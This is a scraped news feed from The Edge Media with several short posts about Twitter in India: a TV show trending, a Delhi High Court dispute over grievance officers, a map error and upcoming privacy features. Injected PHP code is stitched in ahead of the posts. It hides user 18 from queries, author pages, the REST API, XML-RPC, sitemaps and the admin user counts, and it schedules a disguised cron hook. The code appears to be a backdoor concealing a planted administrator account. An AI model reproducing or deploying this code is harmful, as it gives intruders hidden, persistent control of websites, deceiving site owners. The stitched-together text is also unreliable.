add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post “Wagle ki Duniya” trends on Twitter appeared first on The Edge Media.
]]>Talking about the show Wagle Ki Duniya, one Twitter user wrote, “The knowledge you impart about our culture, our festivals and our religion to the present generation is commendable.” Another tweeted, “This is the Era of OTT Platforms..We almost watch a complete season in a day.. Thrill/Comedy/Drama,every genre is present on the platform.. But there is something in the shows like #TMKOC & Wagle Ki Duniya that succeed in making people turn on their TV..!!.”
Take a look on some reactions :





The post “Wagle ki Duniya” trends on Twitter appeared first on The Edge Media.
]]>The post Justice Rekha Palli warns twitter to come up with clear response appeared first on The Edge Media.
]]>Slamming the micro-blogging site, Justice Rekha Palli asked, “How long does your (Twitter’s) process take?” She also said, “If Twitter thinks it can take as long as it wants in our country, I’ll not allow that. Come up with a clear response, otherwise you will be in trouble.”
The court further stated that Twitter is in defiance of the law for not appointing the grievance officer as necessitated under new IT rules. It directed the social site to inform by July 8 as to when its resident grievance officer will be appointed.
In another development, the government said in a court filing that Twitter Inc no more enjoys liability protection against user-generated content in India as the social site has failed to comply with new IT rules.
The statement is the first time Centre has officially said Twitter has lost its immunity after repeatedly criticising the company for non-compliance.
India’s new IT rules which became effective end-May are aimed at regulating content on social media firms and making them more accountable to legal requests for swift removal of posts and sharing details on the originators of messages.
Technology minister Ravi Shankar Prasad has slammed Twitter for deliberately defying the law and said all social media firms must abide by the new rules.
The post Justice Rekha Palli warns twitter to come up with clear response appeared first on The Edge Media.
]]>The post Twitter to appoint a new resident grievance officer soon. appeared first on The Edge Media.
]]>Appointing a resident grievance officer is one of several norms which Twitter and other social media platforms operating in India have to follow under the Information Technology (Intermediary Guidelines and Digital Ethics Code) Rules, 2021. On June 27, Twitter’s interim resident grievance officer Dharrmendra Chatur resigned from his post amid differences with the Union government over the IT Rules. The San Francisco-headquartered company then appointed US national Jeremy Kessel as its new resident grievance officer in India, which put it in violation of the new rules.
Earlier, the complaint against Twitter was filed in the Delhi high court on May 28 by Amit Acharya, a practicing advocate at the high court and the Supreme Court. On May 31, a bench of Justice Rekha Palli issued a notice to the social media giant, giving it three weeks to reply, and posted the matter for further hearing on July 6.
The post Twitter to appoint a new resident grievance officer soon. appeared first on The Edge Media.
]]>The post Twitter shows Jammu and Kashmir and Ladakh as a separate country appeared first on The Edge Media.
]]>The glaring distortion appears on the career section of Twitter website under the header ‘Tweep Life.’ This is the second time Twitter has misrepresented India’s map. Earlier it had shown Leh as part of China.
The US digital giant has been engaged in a tussle with the Indian government over the new social media rules.
The government has slammed Twitter for deliberate defiance and failure to comply with the country’s new IT rules, which has led to the microblogging platform losing its legal shield as an intermediary in India, and becoming liable for users posting any unlawful content.
The post Twitter shows Jammu and Kashmir and Ladakh as a separate country appeared first on The Edge Media.
]]>The post Twitter to announce new privacy policy appeared first on The Edge Media.
]]>Starting with tweet reactions, reverse engineering expert Jane Manchun Wong (@wongmjane) shared a screenshot on Twitter showing a reaction picker with different emojis to choose from. There seem to be five emojis displayed at once and selecting one shows what it indicates. Wong also shared last month the five reactions users will be able to choose from include ‘Like,’ ‘Cheer,’ ‘Hmm,’ ‘Sad,’ and ‘Haha,’ denoted by their respective animated emojis. The emojis for ‘Hmm’ and ‘Haha’ reactions are the ones users will be familiar with, but the other three are just hearts suggesting these are just placeholders for now.

Earlier this month, Wong noticed that Twitter was testing a tweet reaction summary feature that will show the total number of reactions to a tweet ahead of the different reactions themselves.
Additionally, a privacy engineer at Twitter, Dominic Camozzi, posted a series of tweets on June 15 explaining new privacy features that the social media giant is working on. This feature allows users to ‘unmention themselves’ from a tweet they have been directly mentioned in. Camozzi says these are early concepts that aim at helping users control unwanted attention on Twitter. The Unmention Yourself option, as seen on one of the tweets by Camozzi, is present in the three-dot menu next to a tweet an allows users to untag themselves from a tweet or conversation and this will remove the link to their profile from that tweet.

Furthermore, another feature shared by Camozzi shows a special notification that displays when someone you don’t follow directly tags or mentions you. If you ‘unmention yourself,’ the Tweet author will not be able to mention you again. There is also a feature that will prevent certain accounts or all accounts from mentioning you for one day, three days, or seven days.
The post Twitter to announce new privacy policy appeared first on The Edge Media.
]]>